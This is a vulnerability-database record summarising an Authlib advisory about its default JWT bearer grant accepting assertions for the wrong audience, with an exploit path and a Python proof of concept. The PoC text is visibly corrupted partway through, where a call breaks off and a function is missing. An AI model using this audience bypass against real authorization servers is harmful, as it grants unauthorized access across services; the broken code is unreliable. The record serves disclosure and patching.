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Response snapshot Oct 27, 2026, 16:01 UTC

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VulnerabilityCVE-2026-114618

Authlib: Default JWT bearer grant accepts assertions for the wrong audience

Authlib's default RFC 7523 JWT bearer grant leaves `get_audiences()` empty, so `verify_claims()` only checks that an `aud` claim *exists* instead of requiring it to match the current authorization server's token endpoint.

Published Updated

At a glance

Exploited
Not known
Severity
6.8 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: authlib: 1.9.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-fch4-3c6x-j4gc (opens a new tab)

What happened

## Description

### Summary

Authlib's default RFC 7523 JWT bearer grant leaves `get_audiences()` empty, so `verify_claims()` only checks that an `aud` claim *exists* instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for *any* audience can present it to a different authorization server sharing the same signing key and obtain an access token.

To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.

Continue reading

### Affected Entrypoints

- `authlib.oauth2.rfc7523.JWTBearerGrant` — default `get_audiences()` returns empty list - `authlib.jose.jwt.decode()` with `claims_options` for audience validation - `authlib.integrations.flask_oauth2.ResourceProtector.validate_request()` when audience checking is enabled

### Exploit Path

``` 1. Attacker authenticates to Service A (low-privilege) 2. Authorization server issues JWT with "aud": "https://evil.test/token" 3. Attacker presents this assertion to Service B's token endpoint 4. Service B uses default JWTBearerGrant (get_audiences() = []) 5. verify_claims() only checks aud *exists*, not its value 6. Service B issues an access token — audience bypass achieved ```

### Proof of Concept

```python #!/usr/bin/env python3 """ Demonstrates that the default JWTBearerGrant accepts JWT assertions whose audience does not match the token endpoint, while a strict audience override correctly rejects them. """ import json import os import sys

from joserfc.jwk import KeySet, OctKey

WRONG_AUDIENCE = "https://evil.test/token" EXPECTED_AUDIENCE = "https://provider.test/token" GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"

def build_and_exercise(strict_audience: bool) -> tuple[int, dict]: from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant # Uses Authlib's own Flask test fixtures from tests.flask.test_oauth2.models import Client, User, db from tests.flask.test_oauth2.oauth2_server import ( create_authorization_server, create_flask_app, )

class JWTBearerGrant(BaseJWTBearerGrant): def resolve_issuer_client(self, issuer): return Client.query.filter_by(client_id=issuer).first()

def resolve_client_public_key(self, client): return KeySet([ OctKey.import_key("foo", {"kid": "1"}), OctKey.import_key("bar", {"kid": "2"}), ])

def authenticate_user(self, subject): return None

def has_granted_permission(self, client, user): return True

# Only override get_audiences when testing strict mode if strict_audience: def get_audiences(self): return [EXPECTED_AUDIENCE]

app = create_flask_app() os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"

with app.app_context(): db.init_app(app) db.create_all()

user = User(username="demo-user") db.session.add(user) db.session.commit()

client = Client( user_id=user.id, client_id="client-id", client_secret="client-secret", ) client.set_client_metadata({ "scope": "profile", "redirect_uris": ["https://client.test/authorized"], "grant_types": [GRANT_TYPE], }) db.session.add(client) db.session.commit()

server = create_authorization_server(app) server.register_grant(JWTBearerGrant)

# Sign assertion with WRONG audience assertion = JWTBearerGrant.sign( "foo", issuer="client-id", audience=WRONG_AUDIENCE, # int: # Test 1: Default grant (no audience enforcement) vuln_status, vuln_body = build_and_exercise(strict_audience=False)

# Test 2: Strict audience grant (correct behavior) strict_status, strict_body = build_and_exercise(strict_audience=True)

result = { "wrong_audience": WRONG_AUDIENCE, "expected_audience": EXPECTED_AUDIENCE, "vulnerable_status": vuln_status, "vulnerable_body": vuln_body, "strict_status": strict_status, "strict_body": strict_body, } print(json.dumps(result, indent=2, sort_keys=True))

if ( vuln_status == 200 and "access_token" in vuln_body and strict_body.get("error") == "invalid_grant" ): print( "POC_SUCCESS: default JWTBearerGrant issued an access token for " "an assertion whose aud did not match the token endpoint, while " "strict audience validation rejected the same assertion." ) return 0

print("POC_FAILURE: expected token issuance under default grant " "and invalid_grant under strict audience control.") return 1

if __name__ == "__main__": raise SystemExit(main()) ```

### Observed Result

- **Default grant (vulnerable):** HTTP 200, `access_token` issued despite `aud: "https://evil.test/token"` - **Strict grant (fixed):** HTTP 400, `error: "invalid_grant"` — correctly rejects mismatched audience - Confirms the default `get_audiences()` returns empty, so audience validation is effectively skipped

### Impact

- **Vulnerability Type:** CWE-287 — Improper Authentication - An attacker with a valid JWT assertion for *any* service can use it to obtain tokens from a *different* service sharing the same signing keys - Particularly dangerous in **microservice architectures** where services share identity infrastructure - Enables unauthorized access escalation across trust boundaries - The vulnerability is in the *default behavior* — most integrations won't override `get_audiences()` --- ### Credit Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.

Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Affected package ranges reported by GitHub: authlib: < 1.9.0

Scores and how they were measured

CVSS base severity

6.8

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-fch4-3c6x-j4gc (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-fch4-3c6x-j4gc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Authlib: Default JWT bearer grant accepts assertions for the wrong audience (CVE-2026-114618). https://kevwire.com/record/CVE-2026-114618

MLA

"Authlib: Default JWT bearer grant accepts assertions for the wrong audience (CVE-2026-114618)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-114618.

Chicago

KEVWire. "Authlib: Default JWT bearer grant accepts assertions for the wrong audience (CVE-2026-114618)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-114618.

Evidence summary (plain text)

Authlib: Default JWT bearer grant accepts assertions for the wrong audience (Oct 27, 2026).
Authlib's default RFC 7523 JWT bearer grant leaves `get_audiences()` empty, so `verify_claims()` only checks that an `aud` claim *exists* instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for *any* audience can present it to a different authorization server sharing the same signing key and obtain an access token.

To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.
CVSS 6.8 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-fch4-3c6x-j4gc).
Sources:
GitHub-reviewed advisory GHSA-fch4-3c6x-j4gc: https://github.com/advisories/GHSA-fch4-3c6x-j4gc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-114618.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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